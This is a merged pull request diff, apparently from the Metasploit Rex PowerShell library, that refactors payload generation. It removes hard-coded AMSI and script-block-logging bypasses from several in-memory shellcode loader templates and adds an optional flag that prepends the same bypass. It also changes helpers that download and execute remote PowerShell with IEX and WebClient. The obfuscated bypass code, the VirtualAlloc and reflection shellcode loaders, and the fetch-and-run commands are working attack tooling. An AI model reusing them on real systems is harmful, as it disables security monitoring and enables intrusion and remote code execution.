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Feature cleanup psh bypass pr #1

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Merged
merged 2 commits into from
Apr 9, 2019
Merged

Feature cleanup psh bypass pr #1

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0b532a3
Remove intrinsic use of bypasses in psh blocks
Apr 7, 2019
14364a7
Implement dynamic bypass addition in payload gen
Apr 7, 2019
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20 changes: 1 addition & 19 deletions data/templates/to_mem_dotnet.ps1.template
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Original file line number Diff line number Diff line change
@@ -1,22 +1,4 @@
If($PSVersionTable.PSVersion.Major -ge 3){
$GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','N'+'onPublic,Static');
If($GPF){
$GPC=$GPF.GetValue($null);
If($GPC['ScriptB'+'lockLogging']){
$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockInvocationLogging']=0
}
$val=[Collections.Generic.Dictionary[string,System.Object]]::new();
$val.Add('EnableScriptB'+'lockLogging',0);
$val.Add('EnableScriptB'+'lockInvocationLogging',0);
$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val
} Else {
[ScriptBlock].GetField('signatures','N'+'onPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]))
}
$Ref=[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils');
$Ref.GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue($null,$true);
}

Set-StrictMode -Version 2
$%{var_syscode} = @"
using System;
using System.Runtime.InteropServices;
Expand Down
21 changes: 1 addition & 20 deletions data/templates/to_mem_msil.ps1.template
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Original file line number Diff line number Diff line change
@@ -1,22 +1,3 @@
If($PSVersionTable.PSVersion.Major -ge 3){
$GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','N'+'onPublic,Static');
If($GPF){
$GPC=$GPF.GetValue($null);
If($GPC['ScriptB'+'lockLogging']){
$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockInvocationLogging']=0
}
$val=[Collections.Generic.Dictionary[string,System.Object]]::new();
$val.Add('EnableScriptB'+'lockLogging',0);
$val.Add('EnableScriptB'+'lockInvocationLogging',0);
$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val
} Else {
[ScriptBlock].GetField('signatures','N'+'onPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]))
}
$Ref=[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils');
$Ref.GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue($null,$true);
}

function %{func_build_dyn_type}($%{var_type_name}){
$%{var_dyn_asm} = ([AppDomain]::CurrentDomain).DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($%{var_type_name})), [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$%{var_dyn_asm}.SetCustomAttribute((New-Object System.Reflection.Emit.CustomAttributeBuilder((New-Object System.Security.AllowPartiallyTrustedCallersAttribute).GetType().GetConstructors()[0], (New-Object System.Object[](0)))))
Expand Down Expand Up @@ -83,4 +64,4 @@ $%{var_args}[2] = $%{var_sc}.Length

$%{var_src_meth}.Invoke($null, $%{var_args})

$%{var_tgt_meth}.Invoke($null, @(0x11112222))
$%{var_tgt_meth}.Invoke($null, @(0x11112222))
19 changes: 0 additions & 19 deletions data/templates/to_mem_old.ps1.template
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Original file line number Diff line number Diff line change
@@ -1,22 +1,3 @@
If($PSVersionTable.PSVersion.Major -ge 3){
$GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','N'+'onPublic,Static');
If($GPF){
$GPC=$GPF.GetValue($null);
If($GPC['ScriptB'+'lockLogging']){
$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockInvocationLogging']=0
}
$val=[Collections.Generic.Dictionary[string,System.Object]]::new();
$val.Add('EnableScriptB'+'lockLogging',0);
$val.Add('EnableScriptB'+'lockInvocationLogging',0);
$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val
} Else {
[ScriptBlock].GetField('signatures','N'+'onPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]))
}
$Ref=[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils');
$Ref.GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue($null,$true);
}

$%{var_syscode} = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
Expand Down
19 changes: 0 additions & 19 deletions data/templates/to_mem_pshreflection.ps1.template
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Original file line number Diff line number Diff line change
@@ -1,22 +1,3 @@
If($PSVersionTable.PSVersion.Major -ge 3){
$GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','N'+'onPublic,Static');
If($GPF){
$GPC=$GPF.GetValue($null);
If($GPC['ScriptB'+'lockLogging']){
$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockInvocationLogging']=0
}
$val=[Collections.Generic.Dictionary[string,System.Object]]::new();
$val.Add('EnableScriptB'+'lockLogging',0);
$val.Add('EnableScriptB'+'lockInvocationLogging',0);
$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val
} Else {
[ScriptBlock].GetField('signatures','N'+'onPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]))
}
$Ref=[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils');
$Ref.GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue($null,$true);
}

function %{func_get_proc_address} {
Param ($%{var_module}, $%{var_procedure})
$%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
Expand Down
4 changes: 4 additions & 0 deletions lib/rex/powershell/command.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -316,6 +316,10 @@ def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
end
end

if opts[:prepend_protections_bypass]
psh_payload = Rex::Powershell::PshMethods.bypass_powershell_protections << ";#{psh_payload}"
end

compressed_payload = compress_script(psh_payload, nil, opts)
encoded_payload = encode_script(psh_payload, opts)

Expand Down
13 changes: 6 additions & 7 deletions lib/rex/powershell/psh_methods.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -93,7 +93,7 @@ def self.bypass_amsi()
%q{
$Ref=[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils');
$Ref.GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue($null,$true);
}.gsub(/\s+/, " ").strip
}
end

#
Expand All @@ -116,7 +116,7 @@ def self.bypass_script_log()
} Else {
[ScriptBlock].GetField('signatures','N'+'onPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]))
}
}.gsub(/\s+/, " ").strip
}
end

#
Expand All @@ -129,7 +129,7 @@ def self.bypass_powershell_protections()
#{self.bypass_script_log}
#{self.bypass_amsi}
}
}.gsub(/\s+/, " ").strip
}
end

#
Expand All @@ -141,9 +141,9 @@ def self.bypass_powershell_protections()
# @return [String] PowerShell code to download and exec the url
def self.download_and_exec_string(url, iex = true)
if iex
%Q^#{self.bypass_powershell_protections}IEX ((new-object Net.WebClient).DownloadString('#{url}'))^
%Q^IEX ((new-object Net.WebClient).DownloadString('#{url}'))^
else
%Q^#{self.bypass_powershell_protections}&([scriptblock]::create((new-object Net.WebClient).DownloadString('#{url}')))^
%Q^&([scriptblock]::create((new-object Net.WebClient).DownloadString('#{url}')))^
end
end

Expand All @@ -157,8 +157,7 @@ def self.download_and_exec_string(url, iex = true)
# @return [String] PowerShell code to download a URL
def self.proxy_aware_download_and_exec_string(url, iex = true)
var = Rex::Text.rand_text_alpha(1)
cmd = self.bypass_powershell_protections
cmd << "$#{var}=new-object net.webclient;"
cmd = "$#{var}=new-object net.webclient;"
cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
if iex
Expand Down